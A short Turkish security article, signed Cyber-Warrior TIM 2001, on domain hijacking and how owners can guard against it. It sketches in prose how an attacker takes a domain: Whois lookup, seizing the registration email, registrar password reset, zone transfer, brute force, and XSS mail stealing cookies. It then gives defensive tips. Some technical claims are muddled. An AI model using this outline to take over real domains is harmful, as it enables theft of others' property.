Hedef olarak seçilen bir sistemi tamamen ele geçirmenin en saglam yolu Domain Hack’tir. Sisteminizi hedefleyen bir saldirgan, öncelikli olarak Whois Sorgulamasi yapacaktir. Whois sorgulamasinda Domain Registration Maili, irtibat Adresleri, gerçek e-Mail adresi, DNS bilgileri...vs gibi detaylari görecektir. Isin kilit noktasi da burasidir.

Bu bilgiler alindiktan sonra gelebilecek saldirilardan korunmak için;

Domain Hi-Jacking saldirilarindan korunmak için temel yöntem tedbirdir. Söyle ki; domain hacking’te temel yöntem registration e-mail hack’tir. Bu mail hacklendikten sonra, domainin tescil edildigi domain firmasindan yeni sifre istenir. Ayrica domainin geri alinmasini engellemek için zone transfer yapilir. Kisacasi e-mail saldirisiyla eger domaininiz alinirsa, bunu geri almak mümkün olmayabilir.

Ayrica sifre güvenligini saglamak için en garanti yol, zor sifreler seçmektir. Örnegin; sifrenizin 123456 oldugunu varsayalim. Saldirgan belli bir sifre kombinasyonunu baz alarak saldiri yapan Brute Attack programlariyla, domain sifrenizi çalmaya çalisacagi zaman, daha ilk denemelerde bu sifreyi ele geçirebilir. Ama sifrenin %x-m4st3r?$x-Master% oldugunu düsünün. Böyle bir sifreyi deneme yanimlayla ele geçirme ihtimali hemen hemen yok gibidir.

Whois sorgusunda DNS bilgilerini gören Attacker, DNS sorgulamasi ($nslookup) yapacaktir. Burasi çok önemli bir noktadir. Eger konfigürasyon hatasi yapilmissa, Zone Transfer yapilabilir, Domain Hi-Jacking edilebilir. O yüzden bu noktaya dikkat edilmelidir.

Domain’lerin her alanda güvenilir olduguna inandiginiz halde domaininiz el degisiyorsa, Date Expire tarihlerini kontrol edin. Unutmus oldugunuz domain Date Expire tarihi doldugu zaman, farkli bir kullanici domaininizi satin alabilir, legal olarak domain elinizden çikmis olur. O yüzden bu detayi da atlamamak gerek.

Web uygulamalarinda Domain Güvenliginin en büyük bölümünü olusturan Registration Mail güvenligi, Domain’lerin hacklenmesinin çogunluklu nedenidir. Bu nedenle Registration Mailinizi koruyabilmek için;

-> Merakli olmayin.. E-Mail’lerin ele geçirilmesinde yararlanilan bir diger zaaf merakliliktir hiç süphesiz. Saldirgan size bir e-Mail yollayabilir. Bu e-Maillerde bir takim XSS kodlari bulunabilir ve eger kullandiginiz e-Mail, hotmail.com gibi bir servisten alinmissa Cookie bilgileriniz saldirganin eline geçebilir. Veya saldirganin gönderdigi e-Posta’da bir eklenti oldugunu varsayiyoruz. Bunu direk indirip açmak, aceleci davranmak, e-Mail hesabinizi kaybetmenize neden olabilir.

-> Gizli sorularinizin cevabini alakasiz yapin.. Gizli sorularinizin cevabini, sordugunuz soruya karsilik olacak sekilde degil de, baglantisiz bir seyler yapmaya özen gösterin. Zira saldirganin, tahmin gücünü düsürmede etkili olacaktir.

-> Sizden sifre soran hiçbir postayi yanitlamayin.. Unutmayin ki, hiçbir mail servisi sizden sifrenizi sormayacaktir..

-> Size giris yapmaniz için sunulan sayfalarda ,browser’a bakin.. Bu yolla sitenin kime ait oldugunu görebilirsiniz.

-> Tanimadiginiz kisilerden gelen dosyalari, mailleri açmayin ve mümkünse iyi bir güvenlik duvari kullanin..

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©